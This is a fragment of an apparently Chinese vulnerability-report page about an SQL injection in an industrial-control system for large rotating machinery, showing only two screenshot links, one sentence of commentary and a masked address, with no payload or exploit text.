<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11104112bea5f89cf4694e8ad1defb5276c3793b.png" target="_blank"><img width="554" height="332" src="https://www.2k8.org/content/uploadfile/202203/31/d6409cd8.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11110816e209ad4d4a884ef9398a3b4b4780fbd9.png" target="_blank"><img width="554" height="292" src="https://www.2k8.org/content/uploadfile/202203/31/6316279e.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">里面的内容大致与第一个相同</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">就不截图了</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
**.**.**.**/</span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US">&nbsp;</span>
</p>

查看完整版本: 工控安全之某大型旋转机SQL注入通杀全版本(内网拓扑)